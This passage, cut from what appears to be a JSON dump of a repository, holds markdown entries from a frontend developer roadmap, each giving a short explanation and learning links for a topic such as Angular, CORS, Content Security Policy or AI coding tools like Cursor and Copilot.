Coding](https://statistician-in-stilettos.medium.com/best-practices-i-learned-for-ai-assisted-coding-70ff7359d403)\n- [@video@How to elevate software development with AI-assisted coding](https://www.youtube.com/watch?v=S2GqQ4gJAH0)\n- [@video@Everything You Need to Know About Coding with AI // NOT vibe coding](https://www.youtube.com/watch?v=5fhcklZe-qE)\n- [@video@hat Is Vibe Coding? Building Software with Agentic AI](https://www.youtube.com/watch?v=Y68FF_nUSWE)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/ai-vs-traditional-coding@IZKl6PxbvgNkryAkdy3-p.md",
    "content": "# AI vs. Traditional Software Development\n\nTraditional software development relies on developers explicitly writing code to instruct computers on how to perform tasks. This involves defining every step and logic manually. AI-assisted coding, however, leverages machine learning models trained on vast amounts of code to automate parts of the development process. Instead of writing all the code from scratch, developers can use AI to generate code snippets, suggest improvements, and even debug errors, potentially leading to faster development cycles and reduced human error.\n\nVisit the following resources to learn more:\n\n- [@article@Unlocking the value of AI in software development](https://www.mckinsey.com/industries/technology-media-and-telecommunications/our-insights/unlocking-the-value-of-ai-in-software-development)\n- [@article@What is vibe coding?](https://www.ibm.com/think/topics/vibe-coding)\n- [@article@How AI is transforming work at Anthropic](https://www.anthropic.com/research/how-ai-is-transforming-work-at-anthropic)\n- [@video@I Systems vs Traditional Coding](https://www.youtube.com/watch?v=P7lryCIvxgA)\n- [@video@ibe Coding Fundamentals In 33 minutes](https://www.youtube.com/watch?v=iLCDSY2XX7E)\n- [@video@hat is Vibe Coding?](https://www.youtube.com/watch?v=5OWurmg41tI)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/ai-vs-traditional-techniques@IZKl6PxbvgNkryAkdy3-p.md",
    "content": "# AI vs. Traditional Software Development\n\nTraditional software development relies on developers explicitly writing code to instruct computers on how to perform tasks. This involves defining every step and logic manually. AI-assisted coding, however, leverages machine learning models trained on vast amounts of code to automate parts of the development process. Instead of writing all the code from scratch, developers can use AI to generate code snippets, suggest improvements, and even debug errors, potentially leading to faster development cycles and reduced human error.\n\nVisit the following resources to learn more:\n\n- [@article@Unlocking the value of AI in software development](https://www.mckinsey.com/industries/technology-media-and-telecommunications/our-insights/unlocking-the-value-of-ai-in-software-development)\n- [@article@What is vibe coding?](https://www.ibm.com/think/topics/vibe-coding)\n- [@article@How AI is transforming work at Anthropic](https://www.anthropic.com/research/how-ai-is-transforming-work-at-anthropic)\n- [@video@I Systems vs Traditional Coding](https://www.youtube.com/watch?v=P7lryCIvxgA)\n- [@video@ibe Coding Fundamentals In 33 minutes](https://www.youtube.com/watch?v=iLCDSY2XX7E)\n- [@video@hat is Vibe Coding?](https://www.youtube.com/watch?v=5OWurmg41tI)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/angular@-bHFIiXnoUQSov64WI9yo.md",
    "content": "# Angular\n\nAngular is Google's TypeScript framework for building single-page applications (SPAs). Features reusable components, two-way data binding, dependency injection, and robust template system. Includes testing tools, routing, and state management. Ideal for large, complex enterprise applications.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Angular Roadmap](https://roadmap.sh/angular)\n- [@official@Getting started with Angular](https://angular.dev/tutorials/learn-angular)\n- [@video@Angular for Beginners Course](https://www.youtube.com/watch?v=3qBXWUpoPHo)\n- [@feed@Explore top posts about Angular](https://app.daily.dev/tags/angular?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/angular@k6rp6Ua9qUEW_DA_fOg5u.md",
    "content": "# Angular\n\nAngular is a popular tool from Google for building websites and web apps. It uses TypeScript (a type of JavaScript) to create large, efficient single-page applications (SPAs), where content loads in one go without needing to reload the whole page. Angular builds UIs with reusable components, like building blocks. It has features like two-way data binding (data updates automatically in different places), dependency injection (helps manage code parts), and a strong template system. Angular also offers tools for testing, page navigation, and managing app data, making it great for big, complex projects.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Angular Roadmap](https://roadmap.sh/angular)\n- [@official@Getting started with Angular](https://angular.dev/tutorials/learn-angular)\n- [@video@Angular for Beginners Course](https://www.youtube.com/watch?v=3qBXWUpoPHo)\n- [@feed@Explore top posts about Angular](https://app.daily.dev/tags/angular?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/anthropic@Lw2nR7x8PYgq1P5CxPAxi.md",
    "content": "# Anthropic\n\nAnthropic is an AI safety and research company focused on developing reliable, interpretable, and steerable AI systems. They create AI models, like Claude, that are designed to be helpful, harmless, and honest, prioritizing safety through techniques like Constitutional AI, where the AI is guided by a set of principles during its training and operation. They can be integrated via APIs to add functionality to applications.\n\nVisit the following resources to learn more:\n\n- [@official@Anthropic](https://www.anthropic.com/)\n- [@official@Anthropic Academy](https://www.anthropic.com/learn)\n- [@official@Anthropic Tutorials](https://claude.com/resources/tutorials)\n- [@article@Anthropic: What We Know About the Company Behind Claude AI](https://builtin.com/articles/anthropic)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/antigravity@E7-LveK7jO2npxVTLUDfw.md",
    "content": "# Antigravity\n\nAntigravity is an AI-powered code completion tool designed to enhance developer productivity. Created by Google, it learns from your coding style and project context to provide intelligent suggestions, autocompletions, and code generation snippets directly within your integrated development environment (IDE). This allows developers to write code faster and more efficiently, reducing errors and streamlining the development process.\n\nVisit the following resources to learn more:\n\n- [@official@Google Antigravity](https://antigravity.google/)\n- [@official@Getting Started with Google Antigravity](https://codelabs.developers.google.com/getting-started-google-antigravity#0)\n- [@article@Hands-On With Antigravity: Google’s Newest AI Coding Experiment](https://thenewstack.io/hands-on-with-antigravity-googles-newest-ai-coding-experiment/)\n- [@video@Welcome to Google Antigravity 🚀](https://www.youtube.com/watch?v=SVCBA-pBgt0)\n- [@video@Antigravity + Stitch MCP: AI Agents That Build Complete Websites](https://www.youtube.com/watch?v=7wa4Ey_tCCE)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/apollo@5eUbDdOTOfaOhUlZAmmXW.md",
    "content": "# Apollo\n\nApollo GraphQL is a comprehensive platform for GraphQL applications. Apollo Client handles caching, data fetching, and state management. Apollo Server builds GraphQL APIs. Includes tools for schema management, performance monitoring, and developer tooling for faster, scalable apps.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated GraphQL Roadmap](https://roadmap.sh/graphql)\n- [@official@Apollo Website](https://www.apollographql.com)\n- [@official@Apollo Docs](https://www.apollographql.com/docs/)\n- [@feed@Explore top posts about Apollo](https://app.daily.dev/tags/apollo?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/applications@Nx7mjvYgqLpmJ0_iSx5of.md",
    "content": "# AI Applications in Frontend Development\n\nAI is increasingly being used to automate tasks, improve user interfaces, and enhance the overall development process in frontend. It can help with code generation, intelligent suggestions, automated testing, and creating personalized user experiences through features like dynamic content and adaptive layouts. This integration aims to make development faster, more efficient, and more user-centric.\n\nVisit the following resources to learn more:\n\n- [@article@AI in software development](https://www.ibm.com/think/topics/ai-in-software-development)\n- [@article@AI in software development: How to use it, benefits, and key trends](https://appfire.com/resources/blog/ai-in-software-development)\n- [@article@AI-Assisted Software Development: A Comprehensive Guide with Practical Prompts (Part 1/3)](https://aalapdavjekar.medium.com/ai-assisted-software-development-a-comprehensive-guide-with-practical-prompts-part-1-3-989a529908e0)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/astro@iUxXq7beg55y76dkwhM13.md",
    "content": "# Astro\n\nAstro is a static site generator supporting multiple frameworks (React, Vue, Svelte) with partial hydration. Renders components to static HTML, sending JavaScript only when needed. Features file-based routing and markdown support. Ideal for blogs, documentation, and marketing sites.\n\nVisit the following resources to learn more:\n\n- [@course@Astro Web Framework Crash Course](https://www.youtube.com/watch?v=e-hTm5VmofI)\n- [@official@Astro Website](https://astro.build/)\n- [@official@Getting Started with Astro](https://docs.astro.build/en/getting-started/)\n- [@article@What is Astro?](https://www.contentful.com/blog/what-is-astro/)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/astro@wA2fSYsbBYU02VJXAvUz8.md",
    "content": "# Astro\n\nAstro is a static site generator supporting multiple frameworks (React, Vue, Svelte) with partial hydration. Renders components to static HTML, sending JavaScript only when needed. Features file-based routing and markdown support. Ideal for blogs, documentation, and marketing sites.\n\nVisit the following resources to learn more:\n\n- [@course@Astro Web Framework Crash Course](https://www.youtube.com/watch?v=e-hTm5VmofI)\n- [@official@Astro Website](https://astro.build/)\n- [@article@What is Astro?](https://www.contentful.com/blog/what-is-astro/)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/auth-strategies@U5mD5FmVx7VWeKxDpQxB5.md",
    "content": "# Authentication Strategies\n\nAuthentication strategies verify a user's identity to grant access. Common methods include Basic Auth (username/password), Session-based (server remembers login), Token-based (like JWT, a secure digital key), OAuth (for third-party access like \"Login with Google\"), and SSO (Single Sign-On, one login for many apps). Knowing these helps choose the right security for your app.\n\nVisit the following resources to learn more:\n\n- [@article@Basic Authentication](https://roadmap.sh/guides/basic-authentication)\n- [@article@Session Based Authentication](https://roadmap.sh/guides/session-based-authentication-visually-explained)\n- [@article@Token Based Authentication](https://roadmap.sh/guides/token-authentication)\n- [@article@JWT Authentication](https://roadmap.sh/guides/jwt-authentication)\n- [@article@OAuth](https://roadmap.sh/guides/oauth)\n- [@article@SSO - Single Sign On](https://roadmap.sh/guides/sso)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/authentication-strategies@U5mD5FmVx7VWeKxDpQxB5.md",
    "content": "# Authentication Strategies\n\nAuthentication strategies verify a user's identity to grant access. Common methods include Basic Auth (username/password), Session-based (server remembers login), Token-based (like JWT, a secure digital key), OAuth (for third-party access like \"Login with Google\"), and SSO (Single Sign-On, one login for many apps). Knowing these helps choose the right security for your app.\n\nVisit the following resources to learn more:\n\n- [@roadmap.sh@Basic Authentication](https://roadmap.sh/guides/basic-authentication)\n- [@roadmap.sh@Session Based Authentication](https://roadmap.sh/guides/session-based-authentication-visually-explained)\n- [@roadmap.sh@Token Based Authentication](https://roadmap.sh/guides/token-authentication)\n- [@roadmap.sh@JWT Authentication](https://roadmap.sh/guides/jwt-authentication)\n- [@roadmap.sh@OAuth](https://roadmap.sh/guides/oauth)\n- [@roadmap.sh@SSO - Single Sign On](https://roadmap.sh/guides/sso)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/bem@dRDmS072xeNLX7p_X565w.md",
    "content": "# BEM\n\nBEM (Block, Element, Modifier) is a CSS naming methodology creating clear relationships between HTML and CSS. Makes styles more modular, reusable, and understandable through consistent naming conventions. Especially valuable for large projects requiring maintainable code.\n\nVisit the following resources to learn more:\n\n- [@official@BEM Official Website](https://en.bem.info)\n- [@official@BEM Documentation](https://en.bem.info/methodology/quick-start)\n- [@article@5 Reasons To Use BEM Notation](https://www.elpassion.com/blog/5-reasons-to-use-bem-a)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/biome@UvCVChB6NZ_yUg0RdIJ2o.md",
    "content": "# Biome\n\nBiome is a high-performance tool for web projects, designed to format and lint code. It aims to replace a suite of existing tools like Prettier, ESLint, and others, offering a unified solution for code quality and consistency. Biome supports languages like JavaScript, TypeScript, JSX, and JSON, helping developers maintain a clean and standardized codebase.\n\nVisit the following resources to learn more:\n\n- [@official@Biome](https://biomejs.dev/)\n- [@opensource@biome](https://github.com/biomejs/biome)\n- [@article@Biome: The All-in-One Toolchain for Modern Frontend Projects](https://blog.openreplay.com/biome-toolchain-modern-frontend-projects/)\n- [@article@Getting Started with Biome: A Modern Web Development Toolchain 🚀](https://medium.com/devmap/getting-started-with-biome-a-modern-web-development-toolchain-7c9046cebbfc)\n- [@video@The EASIEST Way To Switch From ESLint & Prettier to Biome — Ultracite](https://www.youtube.com/watch?v=lEkXbneUnWg)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/bitbucket@DILBiQp7WWgSZ5hhtDW6A.md",
    "content": "# BitBucket\n\nBitbucket is Atlassian's Git and Mercurial repository hosting platform supporting open-source and private projects. Features pull requests, code reviews, and integrates with Atlassian tools like Jira. Offers cloud and self-hosted options with CI/CD through Bitbucket Pipelines.\n\nVisit the following resources to learn more:\n\n- [@official@How to use BitBucket?](https://bitbucket.org/product/guides)\n- [@official@BitBucket Website](https://bitbucket.com/)\n- [@feed@Explore top posts about Bitbucket](https://app.daily.dev/tags/bitbucket?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/browsers-and-how-they-work@P82WFaTPgQEPNp5IIuZ1Y.md",
    "content": "# Browsers\n\nWeb browsers request and display websites by interpreting HTML, CSS, and JavaScript. Use rendering engines (Blink, Gecko) for display and JavaScript engines (V8) for code execution. Handle security, bookmarks, history, and user interactions for web navigation.\n\nVisit the following resources to learn more:\n\n- [@article@How Browsers Work](https://www.ramotion.com/blog/what-is-web-browser/)\n- [@article@Populating the Page: How Browsers Work](https://developer.mozilla.org/en-US/docs/Web/Performance/How_browsers_work)\n- [@video@How Do Web Browsers Work?](https://www.youtube.com/watch?v=5rLFYtXHo9s)\n- [@feed@Explore top posts about Browsers](https://app.daily.dev/tags/browsers?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/build-tools@i9z0stM4uKu27Cz6NIgNX.md",
    "content": "# Build Tools\n\nBuild tools automate making apps from source code. They compile, link, minify (shrink), and bundle code, run tests, and manage dependencies. Examples are Webpack, Vite, and Parcel for web development. Build tools speed up development, ensure consistency, and optimize code for users. They're key for modern software, especially big projects, making work more efficient and enabling continuous integration (CI).\n\nVisit the following resources to learn more:\n\n- [@official@Webpack Website](https://webpack.js.org/)\n- [@official@Vite Website](https://vitejs.dev)\n- [@official@Parcel Website](https://parceljs.org/)\n- [@feed@Explore top posts about Tools](https://app.daily.dev/tags/tools?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/bun@j2H1qGosbveayviOCVkUs.md",
    "content": "# Bun\n\nBun is a JavaScript runtime, bundler, transpiler, and package manager, all-in-one. It's designed to be a faster, more efficient alternative to Node.js and npm, aiming to improve performance and developer experience through its speed and comprehensive toolset. Bun uses JavaScriptCore, Apple's JavaScript engine, which is known for its performance.\n\nVisit the following resources to learn more:\n\n- [@official@Bun](https://bun.com/)\n- [@official@Bun Docs](https://bun.com/docs)\n- [@opensource@bun](https://github.com/oven-sh/bun)\n- [@article@What Is Bun? An All-in-One Runtime Taking on Node.js](https://kinsta.com/blog/bun-sh/)\n- [@video@Bun is disrupting JavaScript land](https://www.youtube.com/watch?v=dWqNgzZwVJQ)\n- [@video@Bun Crash Course | JavaScript Runtime, Bundler & Transpiler](https://www.youtube.com/watch?v=U4JVw8K19uY)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/cache-control@tWDmeXItfQDxB8Jij_V4L.md",
    "content": "# Cache-Control\n\nCache-Control is an HTTP header used to specify caching directives in HTTP requests and responses. These directives control how browsers and other intermediaries (like CDNs) should cache content. By setting appropriate Cache-Control headers, developers can influence whether a resource is stored, for how long, and under what conditions, ultimately impacting website loading speed and reducing server load.\n\nVisit the following resources to learn more:\n\n- [@article@Cache-Control header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Cache-Control)\n- [@article@What is cache-control? | Cache explained](https://www.cloudflare.com/en-gb/learning/cdn/glossary/what-is-cache-control/)\n- [@video@Two-Minute Tech Tuesdays - Cache-Control Header](https://www.youtube.com/watch?v=8TBWJo094yA)\n- [@video@Deep Dive into HTTP Caching: cache-control, no-cache, no-store, max-age, ETag and etc.](https://www.youtube.com/watch?v=Cy2ZJOBgk84)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/claude-code@RcC1fVuePQZ59AsJfeTdR.md",
    "content": "# Claude Code\n\nClaude Code is a family of large language models designed for code generation and understanding. It excels at tasks like code completion, bug finding, documentation, and even translating code between different programming languages. Essentially, it's a tool that helps developers write, understand, and maintain code more efficiently by leveraging artificial intelligence.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Claude Code Roadmap](https://roadmap.sh/claude-code)\n- [@official@Claude Code Overview](https://code.claude.com/docs/en/overview)\n- [@video@Introducing Claude Code](https://www.youtube.com/watch?v=AJpK3YTTKZ4)\n- [@video@Claude Code Clearly Explained (and how to use it)](https://www.youtube.com/watch?v=zxMjOqM7DFs&t=82s)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/cloudflare@_Uh-UFNe2wP2TV0x2lKY_.md",
    "content": "# Cloudflare\n\nCloudflare is a service that sits between your website and its visitors, acting as a reverse proxy. It provides a range of features including a content delivery network (CDN) to speed up website loading times by caching content closer to users, DDoS protection to safeguard against malicious attacks, and SSL/TLS encryption to secure data transmission. It essentially helps improve website performance, security, and reliability.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare](https://www.cloudflare.com/en-gb/)\n- [@official@Getting started](https://developers.cloudflare.com/pages/get-started/)\n- [@video@What is Cloudflare?](https://www.youtube.com/watch?v=XHvmX3FhTwU)\n- [@video@Learn Cloudflare Workers 101 - Full Course for Beginners](https://www.youtube.com/watch?v=H7Qe96fqg1M)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/code-reviews@0TMdly8yiqnNR8sx36iqc.md",
    "content": "# AI-Powered Code Reviews\n\nAI-powered code reviews leverage machine learning models to analyze source code and identify potential issues, such as bugs, security vulnerabilities, code style violations, and performance bottlenecks. These tools can automate parts of the code review process, freeing up developers to focus on more complex problems and improving the overall quality and maintainability of the codebase.\n\nVisit the following resources to learn more:\n\n- [@official@Common workflows - Claude Code](https://code.claude.com/docs/en/common-workflows)\n- [@article@AI Code Reviews](https://github.com/resources/articles/ai-code-reviews)\n- [@article@AI Code Review: How to Make it Work for You](https://www.startearly.ai/post/ai-code-review-how-to-make-it-work-for-you)\n- [@video@Automatic code reviews with OpenAI Codex](https://www.youtube.com/watch?v=HwbSWVg5Ln4&t=83s)\n- [@video@You've Been Using AI the Hard Way (Use This Instead)](https://www.youtube.com/watch?v=MsQACpcuTkU)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/content-security-policy@rmcm0CZbtNVC9LZ14-H6h.md",
    "content": "# Content Security Policy\n\nContent Security Policy (CSP) prevents XSS and clickjacking attacks by specifying trusted content sources through HTTP headers. Website creators define safe sources for scripts, styles, images, and other resources. Limits malicious code execution and provides violation reporting for security monitoring.\n\nVisit the following resources to learn more:\n\n- [@article@MDN Content Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)\n- [@article@Web.dev - Content Security Policy (CSP)](https://web.dev/csp/)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/copilot@HQrxxDxKN8gizvXRU5psW.md",
    "content": "# GitHub Copilot\n\nGitHub Copilot is an AI-powered code-completion tool that helps developers write code faster and with fewer errors. It uses a combination of machine learning algorithms and access to GitHub's vast repository of open-source code to provide context-aware suggestions for coding tasks. Copilot can generate entire functions, methods, or even entire classes based on the context of the code being written. This feature aims to reduce the time spent on coding by providing immediate and relevant suggestions, allowing developers to focus more on high-level design and problem-solving.\n\nVisit the following resources to learn more:\n\n- [@official@Quickstart for GitHub Copilot](https://docs.github.com/en/copilot/quickstart)\n- [@official@Tutorials for GitHub Copilot](https://docs.github.com/en/copilot/tutorials)\n- [@article@Github Copilot Tutorial](https://www.tutorialspoint.com/github-copilot/index.htm)\n- [@video@Intro to GitHob Copilot in Visual Studio](https://www.youtube.com/watch?v=z1ycDvspv8U)\n- [@video@GitHub Copilot in VSCode: Top 10 Features Explained](https://www.youtube.com/watch?v=2nPoiUJpDaU)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/cors@AfH2zCbqzw0Nisg1yyISS.md",
    "content": "# CORS\n\nCORS (Cross-Origin Resource Sharing) controls web page access to resources from different domains through HTTP headers. Servers specify allowed origins while browsers send preflight requests for permission. Prevents unauthorized access while enabling legitimate cross-origin requests for modern multi-domain applications.\n\nVisit the following resources to learn more:\n\n- [@article@Cross-Origin Resource Sharing (CORS)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)\n- [@article@Understanding CORS](https://rbika.com/blog/understanding-cors)\n- [@video@CORS in 6 minutes](https://www.youtube.com/watch?v=PNtFSVU-YTI)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/credentials@opu2bAsmdWHqWqtsCscLC.md",
    "content": "# Credentials API\n\nCredential Management API integrates websites with browser password managers for secure credential storage and retrieval. Enables auto sign-in, supports various authentication methods, and works with platform authenticators. Improves login experience and security across devices.\n\nVisit the following resources to learn more:\n\n- [@article@Credential Management API - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Credential_Management_API)\n- [@article@The Credential Management API](https://web.dev/articles/security-credential-management)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/csp@rmcm0CZbtNVC9LZ14-H6h.md",
    "content": "# Content Security Policy\n\nContent Security Policy (CSP) prevents XSS and clickjacking attacks by specifying trusted content sources through HTTP headers. Website creators define safe sources for scripts, styles, images, and other resources. Limits malicious code execution and provides violation reporting for security monitoring.\n\nVisit the following resources to learn more:\n\n- [@article@MDN Content Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)\n- [@article@Web.dev - Content Security Policy (CSP)](https://web.dev/csp/)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/css-architecture@nPg_YWpMJtlhU2t2UD_6B.md",
    "content": "# CSS Architecture\n\nCSS architecture organizes styles in large projects using naming conventions (BEM), component-based design, preprocessors, CSS modules, and utility classes. Aims for scalability, maintainability, reduced conflicts, better collaboration, and easier updates through systematic approaches.\n\nVisit the following resources to learn more:\n\n- [@article@How to Organize Your CSS with a Modular Architecture](https://snipcart.com/blog/organize-css-modular-architecture)\n- [@video@Modern CSS For Dynamic Component-Based Architecture](https://www.youtube.com/watch?v=Y50iqMlrqU8)\n- [@feed@Explore top posts about Architecture](https://app.daily.dev/tags/architecture?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/css-frameworks@XDTD8el6OwuQ55wC-X4iV.md",
    "content": "# Modern CSS\n\nModern CSS creates responsive designs using media queries, flexible typography, CSS-in-JS, and frameworks like Tailwind. Features CSS Logical Properties for internationalization and CSS Houdini for custom styling. Goals: performance, maintainability, and accessible designs across all devices.\n\nVisit the following resources to learn more:\n\n- [@article@Modern CSS: A Comprehensive Guide](https://moderncss.dev/)\n- [@article@CSS-Tricks: Modern CSS](https://css-tricks.com/modern-css/)\n- [@feed@Explore top posts about CSS](https://app.daily.dev/tags/css?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/css-preprocessors@UTW1pP59dUehuf0zeHXqL.md",
    "content": "# CSS Preprocessors\n\nCSS preprocessors (Sass, Less, Stylus) extend CSS with variables, nesting, mixins, and functions for easier writing and management. Compile to regular CSS while reducing repetition and improving organization. Make CSS more powerful and maintainable for large projects.\n\nVisit the following resources to learn more:\n\n- [@official@Sass Website](https://sass-lang.com/)\n- [@official@Less Website](https://lesscss.org/)\n- [@official@Stylus Website](https://stylus-lang.com/)\n- [@official@PostCSS Website](https://postcss.org/)\n- [@feed@Explore top posts about CSS](https://app.daily.dev/tags/css?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/css@ZhJhf1M2OphYbEmduFq-9.md",
    "content": "# CSS\n\nCSS (Cascading Style Sheets) styles HTML documents, controlling layout, colors, and fonts. Separates design from content using selectors to target elements. Features responsive design with media queries, cascade rules, inheritance, and specificity. Modern CSS includes Flexbox, Grid, animations, and transitions.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated CSS Roadmap](https://roadmap.sh/css)\n- [@course@Responsive Web Design Certification - Co-Learn HTML & CSS with guided projects](https://www.freecodecamp.org/learn/2022/responsive-web-design/)\n- [@article@Web.dev by Google — Learn CSS](https://web.dev/learn/css/)\n- [@video@CSS Complete Course](https://youtu.be/n4R2E7O-Ngo)\n- [@video@HTML & CSS Full Course - Beginner to Pro](https://www.youtube.com/watch?v=G3e-cpL7ofc)\n- [@feed@Explore top posts about CSS](https://app.daily.dev/tags/css?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/cursor@CKlkVK_7GZ7xzIUHJqZr8.md",
    "content": "# Cursor\n\nCursor is an AI-powered code editor designed to enhance developer productivity. It leverages large language models to offer features like code completion, generation, and refactoring suggestions. By understanding code context, Cursor aims to automate repetitive tasks and provide intelligent assistance throughout the development process.\n\nVisit the following resources to learn more:\n\n- [@official@Cursor](https://cursor.com/)\n- [@official@Cursor Docs](https://cursor.com/docs)\n- [@official@Cursor Learn](https://cursor.com/learn)\n- [@article@Cursor AI: A Guide With 10 Practical Examples](https://www.datacamp.com/tutorial/cursor-ai-code-editor)\n- [@video@Cursor AI Tutorial for Beginners](https://www.youtube.com/watch?v=3289vhOUdKA)\n- [@video@Cursor Tutorial for Beginners (AI Code Editor)](https://www.youtube.com/watch?v=ocMOZpuAMw4)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/custom-elements@VxiQPgcYDFAT6WgSRWpIA.md",
    "content": "# Custom Elements\n\nCustom Elements enable creating your own HTML tags as part of Web Components. Build reusable webpage components with custom behavior instead of nested standard HTML. Keeps HTML cleaner and components more manageable with encapsulated functionality.\n\nVisit the following resources to learn more:\n\n- [@article@Using Custom Elements - MDN](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements)\n- [@video@Web Components | Custom Elements](https://www.youtube.com/watch?v=1GT35DSdZbI)\n- [@feed@Explore top posts about Web Development](https://app.daily.dev/tags/webdev?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/cypress@DaynCz5RR26gjT6N6gTDL.md",
    "content": "# Cypress\n\nCypress is a JavaScript end-to-end testing framework running tests directly in browsers. Built on Mocha with excellent asynchronous testing support. Features time-travel debugging, automatic waiting, and real-time reloading. Supports BDD/TDD approaches for comprehensive web application testing.\n\nVisit the following resources to learn more:\n\n- [@official@Cypress Website](https://www.cypress.io/)\n- [@official@Cypress Documentation](https://docs.cypress.io/)\n- [@video@Cypress End-to-End Testing](https://www.youtube.com/watch?v=BQqzfHQkREo)\n- [@feed@Explore top posts about Cypress](https://app.daily.dev/tags/cypress?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/deployment@A1ZUy16cVRYqmHxoCtUb0.md",
    "content": "# Deployment\n\nDeployment is the process of making a website or web application available for users to access on the internet. It involves taking the code, assets (like images and fonts), and configuration files and placing them on a server or hosting platform. This process often includes steps like bundling the code, optimizing assets for performance, and configuring the server to properly serve the application.\n\nVisit the following resources to learn more:\n\n- [@article@A Beginner’s Guide To Web Deployment](https://medium.com/devjavu/a-beginners-guide-to-web-deployment-b4ce704fe097)\n- [@article@Deploying frontend applications — the fun way](https://hackernoon.com/deploying-frontend-applications-the-fun-way-bc3f69e15331)\n- [@article@Top 5 Platforms to Deploy Your Frontend Projects](https://strapi.io/blog/top-platforms-for-frontend-projects)\n- [@video@How To Deploy a Website (to the internet)](https://www.youtube.com/watch?v=NBrQp6-721c)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/design-systems@ap4h4v5Sr4jBH3GwWSH8x.md",
    "content": "# Design Systems\n\nA design system is a structured collection of reusable components, guidelines, standards, and best practices that ensure consistency across an application's visual design and user experience. It typically includes typography, colors, spacing, icons, UI components, interaction patterns, and documentation on how to use everything correctly.\n\nVisit the following resources to learn more:\n\n- [@article@Design system 101: What is a design system?](https://www.figma.com/blog/design-systems-101-what-is-a-design-system/)\n- [@article@Design Systems 101](https://www.nngroup.com/articles/design-systems-101/)\n- [@video@Welcome to design systems - Lesson 1 : Introduction to design systems](https://www.youtube.com/watch?v=YLo6g58vUm0)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/desktop-apps@KMA7NkxFbPoUDtFnGBFnj.md",
    "content": "# Desktop Applications in JavaScript\n\nJavaScript builds desktop apps using Electron, NW.js, or Tauri for cross-platform development (Windows, Mac, Linux). Electron powers VS Code and Discord. Provides file system access and native integration. Trade-offs: faster development vs. performance and resource usage compared to native apps.\n\nVisit the following resources to learn more:\n\n- [@official@Electron Website](https://www.electronjs.org/)\n- [@official@NW.js Website](https://nwjs.io/)\n- [@official@Tauri Website](https://tauri.app/)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/device-orientation@Fd0hQh1DleM0gMzCpGou4.md",
    "content": "# Device Orientation API\n\nDevice Orientation API detects device tilt and movement (pitch, roll, yaw) for motion-responsive applications. Requires permission for AR, gaming, and interactive experiences. Provides orientation data and change detection for motion-aware web apps.\n\nVisit the following resources to learn more:\n\n- [@article@Device Orientation API - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Device_orientation_events)\n- [@video@Detect the device orientation with JS](https://www.youtube.com/watch?v=fMDuFoqSQfw)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/devtools-usage@JWU9jc12_ewaIKt3qWLcp.md",
    "content": "# DevTools Usage\n\nDevTools are a set of web developer tools built directly into web browsers. They allow you to inspect and debug HTML, CSS, and JavaScript, monitor network activity, analyze performance bottlenecks, and more. By using DevTools, frontend developers can understand how their code is executed in the browser and identify areas for optimization.\n\nVisit the following resources to learn more:\n\n- [@article@What are browser developer tools?](https://developer.mozilla.org/en-US/docs/Learn_web_development/Howto/Tools_and_setup/What_are_browser_developer_tools)\n- [@article@What are Developer Tools?](https://aws.amazon.com/what-is/developer-tools/)\n- [@article@Google DevTools](https://developer.chrome.com/docs/devtools)\n- [@video@Understand Browser Dev Tools Network Tab (and avoid these mistakes...)](https://www.youtube.com/watch?v=2CC0fugc_2o)"
  },
  {
